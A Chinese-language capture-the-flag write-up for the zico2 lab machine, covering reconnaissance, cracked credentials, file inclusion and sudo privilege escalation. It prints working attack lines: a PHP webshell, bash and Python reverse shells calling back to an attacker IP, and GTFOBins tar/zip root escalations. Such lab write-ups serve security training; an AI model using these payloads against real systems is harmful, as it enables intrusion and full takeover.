打靶日记 zico2: 1

一、探测靶机IP(进行信息收集)

主机发现

Bash 复制代码
arp-scan -l
Bash 复制代码
nmap -sS -sV -T5 -p- 192.168.10.20 -A

二、进行目录枚举

发现dbadmin目录下有个test_db.php

进入后发现是一个登录界面,尝试弱口令,结果是admin,一试就出

得到加密后的密码

root 653F4B285089453FE00E2AAFAC573414

zico 96781A607F4E9F5F423AC01F0DAB0EBD

Bash 复制代码
hash-identifier

可能为md5加密

得到密码

root 34kroot34

zico zico2215@

三、进入网页

把所有能点的都去看一下

看到等于号就测

发现目录遍历

Bash 复制代码
dirsearch -u http://192.168.10.20
Bash 复制代码
nikto -h http://192.168.10.20

还发现一个imp目录

/#wp-config.php#: #wp-config.php# file found. This file contains the credentials.

发现一个wp-config.php,这个文件一般可能存在账号密码

尝试利用php伪协议来进行利用

Bash 复制代码
http://192.168.10.20/view.php?page=php://filter/read=convert.base64-encode/resource=wp-config.php%23
#尝试其他file://
http://192.168.10.20/view.php?page=file:///var/www/html/wp-config.php
http://192.168.10.20/view.php?page=php://filter/resource=wp-config.php.bak

这些尝试均失败,https://www.exploit-db.com/exploits/24044漏洞利用方法

Bash 复制代码
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.11/6666 0>&1'");?>

Type类型改为文本文档,可以看到上传成功,并结合前面的目录遍历进行反弹shell

Bash 复制代码
http://192.168.10.20/view.php?page=../../../../../usr/databases/shell.php

想直接反弹shell但是失败了

Bash 复制代码
<?php echo exec('whoami'); ?>

这些都尝试了都报错了

Bash 复制代码
<?php exec("/bin/sh -c 'sh -i >& /dev/tcp/192.168.10.11/6666 0>&1'"); ?>
<?php system("/bin/sh -c 'sh -i >& /dev/tcp/192.168.10.11/6666 0>&1'"); ?>

那就拼接

Bash 复制代码
<?php echo system($_GET["cmd"]); ?>
Bash 复制代码
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.11",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Bash 复制代码
http://192.168.10.20/view.php?page=../../../../../usr/databases/shell.php&cmd=whoami
Bash 复制代码
http://192.168.10.20/view.php?page=../../../../../usr/databases/shell.php&cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.11",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

成功getshell,但是还是不清楚为什么前面不能直接getshell,后面看了配置信息,exec和system函数也没有被禁用

一开始的有可能是因为

  1. 命令中转义符号处理不当>&被PHP或Shell错误解析)。

  2. 目标系统Bash的 /dev/tcp 特性被禁用,导致TCP重定向失败。

  3. PHP执行环境权限不足,无法建立网络连接。

改用 system($_GET["cmd"]) 并通过Python反弹Shell成功,是因为:

  • 绕过符号转义问题:通过URL参数传递命令,避免PHP字符串解析干扰。

  • Python的可靠性 :Python的 subprocesssocket 模块更稳定且不受 /dev/tcp 限制。

  • 动态执行绕过限制$_GET["cmd"] 可能绕过某些静态代码检测机制。

四、提权

建立交互式终端

Bash 复制代码
python -c "import pty; pty.spawn('/bin/bash');"

进去查看一下wp-config.php有没有密码

Bash 复制代码
find / -name "wp-config.php" 2>/dev/null

zico

sWfCsfJSPV9H3AmQzw8

Bash 复制代码
find / -perm -4000 -print 2>/dev/null

有su命令可以切换用户

先查看历史命令,可以看到这里是利用过公钥私钥,还有sudo命令的利用,编辑过to_do文档

Bash 复制代码
cat to_do.txt
Bash 复制代码
sudo -l

方法一

https://gtfobins.github.io/gtfobins/tar/#sudo

Bash 复制代码
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

成功提权

方法二

https://gtfobins.github.io/gtfobins/zip/#sudo

Bash 复制代码
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'

flag

当然还可以进行脏牛提权

相关推荐
天空'之城9 小时前
Linux 系统编程 12:TCP 进阶
linux·网络编程
磐时信息技术9 小时前
GB 44495/44496正式施行:智能网联汽车信息安全与软件升级进入强制合规阶段
网络安全·信息安全·汽车·gb44495·gb44496
bkspiderx9 小时前
rpath:Linux 中固定共享库搜索路径的“永久解决方案”
linux·rpath·固定共享库搜索路径
wbs_scy9 小时前
仿 muduo 高并发服务器项目:从 timerfd 到时间轮实现定时任务机制
linux·服务器·c++
AI的探索之旅9 小时前
从 Ubuntu 14.04 到 24.04:TI AM335x 开发环境完整迁移与 Agent 接管方案
linux·数据库·嵌入式硬件·ubuntu·postgresql
阿pin9 小时前
Android随笔-pipe是什么?
android·linux·pipe
小趴菜え9 小时前
升级Ubuntu20.04版本至Ubuntu22.04
linux·运维
辰三10 小时前
统信 UOS + GBase 8s 国产化环境部署实战:从虚拟机到数据库连接完整指南
linux·c#
Darkwanderor10 小时前
Linux进程优先级操作
linux·运维·c语言·c++
AOwhisky11 小时前
Linux(CentOS)系统管理入门笔记(第一期)——从 Multics 到主流发行版
linux·运维·笔记·centos·云计算